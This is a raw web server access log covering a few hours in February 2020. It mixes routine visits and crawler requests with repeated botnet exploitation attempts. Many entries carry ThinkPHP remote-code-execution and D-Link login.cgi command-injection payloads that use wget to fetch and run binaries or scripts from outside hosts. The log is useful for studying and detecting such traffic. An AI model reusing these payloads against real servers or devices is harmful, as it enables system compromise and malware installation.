188.138.75.107 - - [12/Feb/2020:02:23:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [12/Feb/2020:02:23:10 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [12/Feb/2020:02:23:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.75.107 - - [12/Feb/2020:02:23:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
197.248.141.70 - - [12/Feb/2020:02:27:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.248.141.70 - - [12/Feb/2020:02:27:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.75.9.100 - - [12/Feb/2020:02:28:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.58.7.106 - - [12/Feb/2020:02:32:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.229.48 - - [12/Feb/2020:02:33:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.59.210.169 - - [12/Feb/2020:02:35:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
34.80.157.70 - - [12/Feb/2020:02:36:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
201.76.120.183 - - [12/Feb/2020:02:36:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
84.255.42.243 - - [12/Feb/2020:02:39:01 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
1.54.54.139 - - [12/Feb/2020:02:39:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.164.180.78 - - [12/Feb/2020:02:39:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
191.5.182.158 - - [12/Feb/2020:02:41:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
2.134.23.211 - - [12/Feb/2020:02:43:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.114.65.232 - - [12/Feb/2020:02:45:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.39.13.44 - - [12/Feb/2020:02:45:37 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
96.230.26.18 - - [12/Feb/2020:02:50:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
117.7.238.102 - - [12/Feb/2020:02:54:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.112.14.126 - - [12/Feb/2020:02:59:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
117.6.52.53 - - [12/Feb/2020:03:01:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
61.133.194.58 - - [12/Feb/2020:03:06:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
61.31.169.22 - - [12/Feb/2020:03:07:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.133.58 - - [12/Feb/2020:03:09:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
81.104.92.172 - - [12/Feb/2020:03:11:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
78.134.31.187 - - [12/Feb/2020:03:12:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
1.70.163.41 - - [12/Feb/2020:03:22:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.131.191.235 - - [12/Feb/2020:03:25:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
45.179.209.121 - - [12/Feb/2020:03:25:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
46.11.185.44 - - [12/Feb/2020:03:26:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.117.241.19 - - [12/Feb/2020:03:28:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.179.164.229 - - [12/Feb/2020:03:28:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.173.113.217 - - [12/Feb/2020:03:29:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
78.130.147.114 - - [12/Feb/2020:03:31:40 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
93.174.93.31 - - [12/Feb/2020:03:32:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.31"
93.174.93.31 - - [12/Feb/2020:03:33:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.31"
91.230.25.162 - - [12/Feb/2020:03:34:54 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
78.130.147.114 - - [12/Feb/2020:03:34:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
78.130.147.114 - - [12/Feb/2020:03:34:59 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
93.174.93.31 - - [12/Feb/2020:03:35:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.31"
222.137.177.41 - - [12/Feb/2020:03:35:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.130.147.114 - - [12/Feb/2020:03:36:06 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
78.130.147.114 - - [12/Feb/2020:03:37:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
78.130.147.114 - - [12/Feb/2020:03:37:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
78.130.147.114 - - [12/Feb/2020:03:39:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
94.121.8.196 - - [12/Feb/2020:03:39:19 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
2.132.3.186 - - [12/Feb/2020:03:39:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.130.147.114 - - [12/Feb/2020:03:41:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
78.186.137.112 - - [12/Feb/2020:03:42:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
42.113.229.38 - - [12/Feb/2020:03:42:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
71.6.232.4 - - [12/Feb/2020:03:43:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
190.48.69.222 - - [12/Feb/2020:03:43:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://108.59.192.147/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "ELEMENT/2.0"
190.48.69.222 - - [12/Feb/2020:03:43:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://108.59.192.147/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "ELEMENT/2.0"
190.48.69.222 - - [12/Feb/2020:03:44:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://108.59.192.147/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "ELEMENT/2.0"
42.117.213.29 - - [12/Feb/2020:03:48:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.42.144.213 - - [12/Feb/2020:03:48:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.80.89.246 - - [12/Feb/2020:03:50:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.119.171.190 - - [12/Feb/2020:03:51:18 +0100] "GET / HTTP/1.1" 200 1229 "https://1xbet-entry.ru/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0 ; .NET CLR 2.0.50215; SL Commerce Client v1.0; Tablet PC 2.0"
46.119.171.190 - - [12/Feb/2020:03:51:18 +0100] "GET / HTTP/1.1" 200 1229 "https://1xbet-entry.ru/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0 ; .NET CLR 2.0.50215; SL Commerce Client v1.0; Tablet PC 2.0"
46.119.171.190 - - [12/Feb/2020:03:51:19 +0100] "GET / HTTP/1.1" 200 1229 "https://1xbet-entry.ru/" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0 ; .NET CLR 2.0.50215; SL Commerce Client v1.0; Tablet PC 2.0"
42.118.164.140 - - [12/Feb/2020:03:51:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.110.209.44 - - [12/Feb/2020:03:52:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
83.166.1.110 - - [12/Feb/2020:03:55:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.160.110.48 - - [12/Feb/2020:03:55:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [12/Feb/2020:03:55:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
81.4.86.47 - - [12/Feb/2020:03:55:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.160.110.48 - - [12/Feb/2020:03:55:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [12/Feb/2020:03:55:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [12/Feb/2020:03:56:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
93.174.93.31 - - [12/Feb/2020:03:59:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.31"
147.30.32.187 - - [12/Feb/2020:04:01:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
122.53.50.123 - - [12/Feb/2020:04:02:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
47.88.32.70 - - [12/Feb/2020:04:03:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
71.6.232.4 - - [12/Feb/2020:04:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
58.186.20.57 - - [12/Feb/2020:04:05:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
71.6.232.4 - - [12/Feb/2020:04:06:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
1.54.9.67 - - [12/Feb/2020:04:11:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.113.229.7 - - [12/Feb/2020:04:16:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
36.65.203.29 - - [12/Feb/2020:04:16:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
42.117.130.121 - - [12/Feb/2020:04:18:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.119.16.31 - - [12/Feb/2020:04:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
60.53.149.157 - - [12/Feb/2020:04:20:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
201.114.131.76 - - [12/Feb/2020:04:27:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
36.78.26.21 - - [12/Feb/2020:04:28:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
109.117.198.174 - - [12/Feb/2020:04:28:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.112.162.120 - - [12/Feb/2020:04:29:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.192.180.178 - - [12/Feb/2020:04:32:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [12/Feb/2020:04:32:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
195.181.39.133 - - [12/Feb/2020:04:32:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
211.192.180.178 - - [12/Feb/2020:04:32:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [12/Feb/2020:04:32:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [12/Feb/2020:04:32:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
152.136.157.215 - - [12/Feb/2020:04:33:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
118.69.191.113 - - [12/Feb/2020:04:34:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.209.82 - - [12/Feb/2020:04:40:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
93.174.93.31 - - [12/Feb/2020:04:41:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.31"
93.174.93.31 - - [12/Feb/2020:04:41:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.31"
93.174.93.31 - - [12/Feb/2020:04:41:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.31"
103.46.237.245 - - [12/Feb/2020:04:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
93.174.93.31 - - [12/Feb/2020:04:42:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.31"
93.174.93.31 - - [12/Feb/2020:04:42:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.31"
93.174.93.31 - - [12/Feb/2020:04:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.31"
193.198.66.62 - - [12/Feb/2020:04:42:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
186.179.204.71 - - [12/Feb/2020:04:43:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
107.6.183.162 - - [12/Feb/2020:04:43:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36"
42.117.213.66 - - [12/Feb/2020:04:51:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.190.176.92 - - [12/Feb/2020:04:52:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
85.107.243.74 - - [12/Feb/2020:04:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.115.164.237 - - [12/Feb/2020:04:54:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.78.136 - - [12/Feb/2020:04:55:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.36.86.198 - - [12/Feb/2020:04:56:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
